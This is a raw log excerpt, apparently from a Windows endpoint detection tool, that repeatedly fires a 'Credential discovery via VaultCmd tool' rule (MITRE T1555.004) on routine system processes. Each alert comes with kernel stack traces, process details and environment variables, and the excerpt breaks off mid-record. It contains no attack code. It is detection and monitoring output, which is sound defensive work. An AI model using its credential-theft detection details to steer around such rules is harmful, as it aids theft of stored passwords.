C:\Windows\System32\ucrtbase.dll!_execute_onexit_table|0x7ffb75a0b84d C:\Windows\System32\ucrtbase.dll!_execute_onexit_table|0x7ffb75a32f0c C:\Windows\System32\ucrtbase.dll!_stricmp_l|0x7ffb549343c5 C:\Windows\System32\FlightSettings.dll!?|0x7ffb549344ee C:\Windows\System32\FlightSettings.dll!?|0x7ffb77ea0ede C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffb77db483e C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContext|0x7ffb77e3dfff C:\Windows\System32\ntdll.dll!LdrShutdownProcess|0x7ffb77d48ede C:\Windows\System32\ntdll.dll!RtlExitUserProcess|0x7ffb773e18ab C:\Windows\System32\kernel32.dll!FatalExit|0x7ffb75c3e2c9 C:\Windows\System32\msvcrt.dll!_exit|0x7ffb75c3e914 C:\Windows\System32\msvcrt.dll!_initterm_e|0x7ff7e00e81bd C:\Windows\System32\taskhostw.exe!?|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391179 + Pid: 6700 + Tid: 9836 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2448496 +0100 CET + Params: file_key➜ ffff808cbe202200, offset➜ 0, pid➜ 6700, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 192a7b10000, view_size➜ 4096 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, subtechnique.id: T1555.004, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:47+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1ad29b9 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x43c9|0xfffff802c17bfc0b C:\WINDOWS\system32\ntoskrnl.exe!WheaUnregisterInUsePageOfflineNotification+0x7bdb|0xfffff802c1347d64 C:\WINDOWS\system32\ntoskrnl.exe!Ordinal7+0xd4|0xfffff802c1489a65 C:\WINDOWS\system32\ntoskrnl.exe!KeExpandKernelStackAndCallout+0x15|0xfffff802c1ad2b18 C:\WINDOWS\system32\ntoskrnl.exe!WmiQueryTraceInformation+0x4528|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea35d4 C:\Windows\System32\ntdll.dll!ZwCreateKey|0x7ffb7505b7c9 C:\Windows\System32\KernelBase.dll!RegCloseKey|0x7ffb7505844d C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb75057df2 C:\Windows\System32\KernelBase.dll!RegCreateKeyExInternalW|0x7ffb7517a227 C:\Windows\System32\KernelBase.dll!__FC_Query_System|0x7ffb7505500c C:\Windows\System32\KernelBase.dll!SHRegSetUSValueW|0x7ffb7517b6f6 C:\Windows\System32\KernelBase.dll!_amsg_exit|0x7ffb75134559 C:\Windows\System32\KernelBase.dll!StrCSpnW|0x7ffb75134356 C:\Windows\System32\KernelBase.dll!StrCSpnW|0x7ffb75134144 C:\Windows\System32\KernelBase.dll!StrCSpnW|0x7ffb77ea0ede C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffb77db483e C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContext|0x7ffb77e3dfff C:\Windows\System32\ntdll.dll!LdrShutdownProcess|0x7ffb77d48ede C:\Windows\System32\ntdll.dll!RtlExitUserProcess|0x7ffb773e18ab C:\Windows\System32\kernel32.dll!FatalExit|0x7ffb75c3e2c9 C:\Windows\System32\msvcrt.dll!_exit|0x7ffb75c3e914 C:\Windows\System32\msvcrt.dll!_initterm_e|0x7ff7e00e81bd C:\Windows\System32\taskhostw.exe!?|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391191 + Pid: 6700 + Tid: 9836 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2470507 +0100 CET + Params: file_key➜ ffff808cbe36d420, offset➜ 0, pid➜ 6700, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 7df4d4230000, view_size➜ 1048576 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T22:58:47+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0xfffff802c1309ef4 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c1309c64 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x604|0xfffff802c130c59b C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseRundownProtectionCacheAwareEx+0x6db|0xfffff802c1874c3c C:\WINDOWS\system32\ntoskrnl.exe!RtlPrefixUnicodeString+0x3bcc|0xfffff802c1869e65 C:\WINDOWS\system32\ntoskrnl.exe!RtlCompareUnicodeStrings+0x9c5|0xfffff802c16b3055 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9265|0x7ffb77ea3e24 C:\Windows\System32\ntdll.dll!ZwSetValueKey|0x7ffb750565aa C:\Windows\System32\KernelBase.dll!RegSetValueExW|0x7ffb75055d40 C:\Windows\System32\KernelBase.dll!RegSetValueExA|0x7ffb75055052 C:\Windows\System32\KernelBase.dll!SHRegSetUSValueW|0x7ffb7517b6f6 C:\Windows\System32\KernelBase.dll!_amsg_exit|0x7ffb75134559 C:\Windows\System32\KernelBase.dll!StrCSpnW|0x7ffb75134356 C:\Windows\System32\KernelBase.dll!StrCSpnW|0x7ffb75134144 C:\Windows\System32\KernelBase.dll!StrCSpnW|0x7ffb77ea0ede C:\Windows\System32\ntdll.dll!RtlEncodeRemotePointer|0x7ffb77db483e C:\Windows\System32\ntdll.dll!RtlDeactivateActivationContext|0x7ffb77e3dfff C:\Windows\System32\ntdll.dll!LdrShutdownProcess|0x7ffb77d48ede C:\Windows\System32\ntdll.dll!RtlExitUserProcess|0x7ffb773e18ab C:\Windows\System32\kernel32.dll!FatalExit|0x7ffb75c3e2c9 C:\Windows\System32\msvcrt.dll!_exit|0x7ffb75c3e914 C:\Windows\System32\msvcrt.dll!_initterm_e|0x7ff7e00e81bd C:\Windows\System32\taskhostw.exe!?|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 391195 + Pid: 6700 + Tid: 9836 + Type: MapViewFile + CPU: 5 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 22:58:28.2471843 +0100 CET + Params: file_key➜ ffff808cc043d600, file_path➜ C:\Windows\System32\C_437.NLS, offset➜ 0, pid➜ 6700, protection➜ READONLY, section_type➜ DATA, view_base➜ 192a7d90000, view_size➜ 69632 + Metadata: subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 6700 + Ppid: 2028 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [taskhostw.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps; ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:02:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0x7ffb755037a4 C:\Windows\System32\win32u.dll!NtDCompositionGetConnectionBatch|0x7ffb7108e1db C:\Windows\System32\dwmcore.dll!?|0x7ffb7108cd5e C:\Windows\System32\dwmcore.dll!?|0x7ffb710c6ff7 C:\Windows\System32\dwmcore.dll!?|0x7ffb7119cce2 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_CreateChannel|0x7ffb712471e6 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_Uninitialize|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 807547 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 3 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:02:28.4013569 +0100 CET + Params: file_key➜ ffff808cc8fd8a10, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226480000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.name: Credential Access, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:02:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0x7ffb755037a4 C:\Windows\System32\win32u.dll!NtDCompositionGetConnectionBatch|0x7ffb7108e1db unbacked!?|0x7ffb7108cd5e unbacked!?|0x7ffb710c6ff7 unbacked!?|0x7ffb7119cce2 unbacked!?|0x7ffb712471e6 unbacked!?|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 809061 + Pid: 2304 + Tid: 1636 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:02:38.6221273 +0100 CET + Params: file_key➜ ffff808cd7241500, offset➜ 0, pid➜ 2304, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 22e118c0000, view_size➜ 8192 + Metadata: subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 2304 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\System32\svchost.exe -k netprofm -p -s netprofm + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\System32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\System32\svchost.exe -k netprofm -p -s netprofm] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:02:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: 0x7ffb755037a4 C:\Windows\System32\win32u.dll!NtDCompositionGetConnectionBatch|0x7ffb7108e1db C:\Windows\System32\dwmcore.dll!?|0x7ffb7108cd5e C:\Windows\System32\dwmcore.dll!?|0x7ffb710c6ff7 C:\Windows\System32\dwmcore.dll!?|0x7ffb7119cce2 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_CreateChannel|0x7ffb712471e6 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_Uninitialize|0x7ffb773ce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb77d48d9c C:\Windows\System32\ntdll.dll!RtlUserThreadStart + Event(s): + Seq: 809104 + Pid: 1556 + Tid: 2384 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:02:39.3888824 +0100 CET + Params: file_key➜ ffff808ce222a370, offset➜ 0, pid➜ 1556, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e226480000, view_size➜ 4096 + Metadata: rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006 + + Pid: 1556 + Ppid: 680 + Name: dwm.exe + Parent name: winlogon.exe + Cmdline: "dwm.exe" + Parent cmdline: winlogon.exe + Exe: C:\WINDOWS\System32\dwm.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-90-0-1 + Integrity level: SYSTEM + Username: DWM-1 + Domain: Window Manager + Args: ["dwm.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules 